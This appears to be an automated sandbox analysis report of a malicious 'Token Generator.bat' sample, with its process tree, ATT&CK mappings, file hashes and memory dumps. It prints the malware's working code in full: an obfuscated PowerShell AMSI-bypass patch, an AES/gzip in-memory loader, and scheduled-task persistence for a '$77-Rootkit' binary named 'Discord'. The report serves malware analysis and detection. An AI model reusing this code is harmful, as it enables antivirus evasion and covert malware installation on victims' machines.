$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+'c'+'r'+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+'.'+'W'+''+[Char](105)+'n32.'+'U'+''+[Char](110)+''+[Char](115)+'afe'+[Char](78)+'a'+[Char](116)+''+'i'+''+[Char](118)+''+'e'+''+'M'+''+'e'+'t'+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$MveFiCXPazIWBg=$DNWyDcAFHfcyU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+'A'+'d'+'d'+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+','+'S'+'t'+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qHHnUewcqgerJgKAEeM=ChlKNlpkKByZ @([String])([IntPtr]);$htlniFmKNyzoxgyyeqbyRT=ChlKNlpkKByZ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GgbSbGpgXcn=$DNWyDcAFHfcyU.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+'l32'+[Char](46)+'dl'+[Char](108)+'')));$vqxvbUIHBPcTXM=$MveFiCXPazIWBg.Invoke($Null,@([Object]$GgbSbGpgXcn,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+'ib'+'r'+''+[Char](97)+'ry'+'A'+'')));$TeOfagDmBPjdtxmlx=$MveFiCXPazIWBg.Invoke($Null,@([Object]$GgbSbGpgXcn,[Object]('V'+'i'+''+[Char](114)+'tu'+'a'+'l'+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$dJGSyHL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vqxvbUIHBPcTXM,$qHHnUewcqgerJgKAEeM).Invoke('a'+[Char](109)+''+[Char](115)+'i'+'.'+''+[Char](100)+''+[Char](108)+'l');$tgQcBgLTVEjOFCNGF=$MveFiCXPazIWBg.Invoke($Null,@([Object]$dJGSyHL,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+'an'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$yxgjiOxHND=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TeOfagDmBPjdtxmlx,$htlniFmKNyzoxgyyeqbyRT).Invoke($tgQcBgLTVEjOFCNGF,[uint32]8,4,[ref]$yxgjiOxHND);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tgQcBgLTVEjOFCNGF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TeOfagDmBPjdtxmlx,$htlniFmKNyzoxgyyeqbyRT).Invoke($tgQcBgLTVEjOFCNGF,[uint32]8,0x20,[ref]$yxgjiOxHND);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](36)+'7'+'7'+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1560

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1852

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:2432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2484

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2564

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:536

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2620

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3308

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Token Generator.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Token Generator.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Token Generator.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_520_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_520.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3332

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_520.vbs"
4⤵
- Suspicious use of WriteProcessMemory
PID:908

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_520.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:3664

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l7xIjD7w3X9IZsoce95u+FWxpwh41oGtZjuJWP8Q3+U='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Ji4GPB6lVnv6Xlch9sujw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aXkIe=New-Object System.IO.MemoryStream(,$param_var); $bzUdJ=New-Object System.IO.MemoryStream; $mnRoM=New-Object System.IO.Compression.GZipStream($aXkIe, [IO.Compression.CompressionMode]::Decompress); $mnRoM.CopyTo($bzUdJ); $mnRoM.Dispose(); $aXkIe.Dispose(); $bzUdJ.Dispose(); $bzUdJ.ToArray();}function execute_function($param_var,$param2_var){ $ncCdx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $NjXjX=$ncCdx.EntryPoint; $NjXjX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_520.bat';$jtmXF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_520.bat').Split([Environment]::NewLine);foreach ($yxuaZ in $jtmXF) { if ($yxuaZ.StartsWith(':: ')) { $FJFrF=$yxuaZ.Substring(3); break; }}$payloads_var=[string[]]$FJFrF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1776

C:\Users\Admin\AppData\Local\Temp\Token Generator.exe
"C:\Users\Admin\AppData\Local\Temp\Token Generator.exe"
7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
8⤵
- Creates scheduled task(s)
PID:1020

C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3400

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
9⤵
- Creates scheduled task(s)
PID:4184

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:4768

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe" /rl HIGHEST /f
7⤵
- Creates scheduled task(s)
PID:2096

C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
"C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe"
7⤵
- Executes dropped EXE
PID:4400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3472

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3792

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3872

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3964

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4104

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4876

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2208

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:784

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3404

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:1128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\Token Generator.exe
Filesize
3.1MB

MD5
6d2ad4ada4961027832e557db06fc08d

SHA1
816018499f5e291850d7dd2a0d15c914e5607630

SHA256
139ce0f6ed1d745a6776f831c641b2b30bb8d48ecd9c198a0b4bd8489899f60e

SHA512
1d99985c99fa16f712eee5604279463e18e77532e7a1586651178685ef38ba25b099c393edc44f2703d7e9f4ce7596b86ba3d9f0e00119e13474816a2186f241

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_buahprqs.rpa.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$77-Rootkit\$77-powershell.exe
Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_520.bat
Filesize
3.5MB

MD5
e984ebea899379a8c0a47f9308c7370b

SHA1
863330006bef4c55a1bc79771ae989dc0412f717

SHA256
9f413ae8218ec74eb61a052e1c2b8b27f8ee7038902db5aaea9c93e0752fa48b

SHA512
70934def86e93b350e72711e757cbe0a97a9a58259f184e2c97aeea3a2b9f016bb03e4fb499f3876248bfb43edec5e3949599448d95235afcb1b46d71362b975

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_520.vbs
Filesize
115B

MD5
ad41673e76bc43131e958f4706b4e25d

SHA1
0f4449fa9e177328931dba068bc22739d553fcb9

SHA256
b09f12cd88f173a0e3a759b34d3defd5277a87e73af643a19a5af5d3b41bef35

SHA512
ff7f216d09a67c3dc371b06288c1e9594741f8bee3cdc895bca9a9d25eba7909b7954f1155d829ea0861adbca1c4b62f5eb606160a18de7fbb672e233045e5d1

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize
338B

MD5
ff78083b672a56a3981c1453f7eb4b4c

SHA1
4953210d5a3e6ed72a8f259288ad9aca47ad1278

SHA256
ccd74c04d87f2cd7d6d30a2f55e6efc644f12ef4fc3dee71d7518a6e9117558c

SHA512
17a99eaf95a887ccb57332650397d77a7a1b1452b179f7452c07fbfeba9c4d69505adedb2413007869496075ef1569f2da28ac569cb772e0f90d6a59ad5b2afc

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
Filesize
412B

MD5
927a161f3652533ce1bf9200b563305e

SHA1
961dd03f67bbc328f1d436ae41e613e7c07d339b

SHA256
f51e58a04b87b80653c3ad8430799ebdaf6dfc93687ce62b56f4fe529480bc69

SHA512
4f75142bd13594581a8c0350fe98b9ed77eb83681de9d2a936f687b15cc7bc8c38566a7ba76890666bd889fbf9222b71bb63288e5b5f16989e13b8ca9184d02f

Download Submit
memory/480-142-0x0000018C78210000-0x0000018C7823A000-memory.dmp

Filesize
168KB

Download
memory/480-147-0x0000018C78210000-0x0000018C7823A000-memory.dmp

Filesize
168KB

Download
memory/480-148-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

Filesize
64KB

Download
memory/636-110-0x000001CC68CC0000-0x000001CC68CE5000-memory.dmp

Filesize
148KB

Download
memory/636-111-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp

Filesize
168KB

Download
memory/636-112-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp

Filesize
168KB

Download
memory/636-117-0x000001CC68CF0000-0x000001CC68D1A000-memory.dmp

Filesize
168KB

Download
memory/636-118-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

Filesize
64KB

Download
memory/692-127-0x000001536E570000-0x000001536E59A000-memory.dmp

Filesize
168KB

Download
memory/692-122-0x000001536E570000-0x000001536E59A000-memory.dmp

Filesize
168KB

Download
memory/692-128-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

Filesize
64KB

Download
memory/716-152-0x00000234B8290000-0x00000234B82BA000-memory.dmp

Filesize
168KB

Download
memory/716-157-0x00000234B8290000-0x00000234B82BA000-memory.dmp

Filesize
168KB

Download
memory/716-158-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

Filesize
64KB

Download
memory/992-137-0x000001CA27F60000-0x000001CA27F8A000-memory.dmp

Filesize
168KB

Download
memory/992-138-0x00007FFD0DB90000-0x00007FFD0DBA0000-memory.dmp

Filesize
64KB

Download
memory/992-132-0x000001CA27F60000-0x000001CA27F8A000-memory.dmp

Filesize
168KB

Download
memory/1696-63-0x0000000000900000-0x0000000000C24000-memory.dmp

Filesize
3.1MB

Download
memory/1776-52-0x00000117FD2D0000-0x00000117FD5F4000-memory.dmp

Filesize
3.1MB

Download
memory/3024-97-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3024-102-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3024-99-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3024-98-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3024-100-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3024-107-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3024-106-0x00007FFD4BA50000-0x00007FFD4BB0D000-memory.dmp

Filesize
756KB

Download
memory/3024-105-0x00007FFD4DB00000-0x00007FFD4DD09000-memory.dmp

Filesize
2.0MB

Download
memory/3332-25-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/3332-24-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/3332-30-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/3332-26-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/3332-27-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/3400-92-0x000000001C5F0000-0x000000001C602000-memory.dmp

Filesize
72KB

Download
memory/3400-93-0x000000001CD80000-0x000000001CDBC000-memory.dmp

Filesize
240KB

Download
memory/3400-81-0x000000001C670000-0x000000001C722000-memory.dmp

Filesize
712KB

Download
memory/3400-80-0x000000001C560000-0x000000001C5B0000-memory.dmp

Filesize
320KB

Download
memory/3748-96-0x00007FFD4BA50000-0x00007FFD4BB0D000-memory.dmp

Filesize
756KB

Download
memory/3748-95-0x00007FFD4DB00000-0x00007FFD4DD09000-memory.dmp

Filesize
2.0MB

Download
memory/3748-94-0x000001E8E0D40000-0x000001E8E0D6A000-memory.dmp

Filesize
168KB

Download
memory/4568-11-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/4568-0-0x00007FFD2CCF3000-0x00007FFD2CCF5000-memory.dmp

Filesize
8KB

Download
memory/4568-14-0x000002A947A70000-0x000002A947F0E000-memory.dmp

Filesize
4.6MB

Download
memory/4568-13-0x000002A90F130000-0x000002A90F138000-memory.dmp

Filesize
32KB

Download
memory/4568-12-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/4568-732-0x00007FFD2CCF3000-0x00007FFD2CCF5000-memory.dmp

Filesize
8KB

Download
memory/4568-733-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download
memory/4568-9-0x000002A927510000-0x000002A927532000-memory.dmp

Filesize
136KB

Download
memory/4568-10-0x00007FFD2CCF0000-0x00007FFD2D7B2000-memory.dmp

Filesize
10.8MB

Download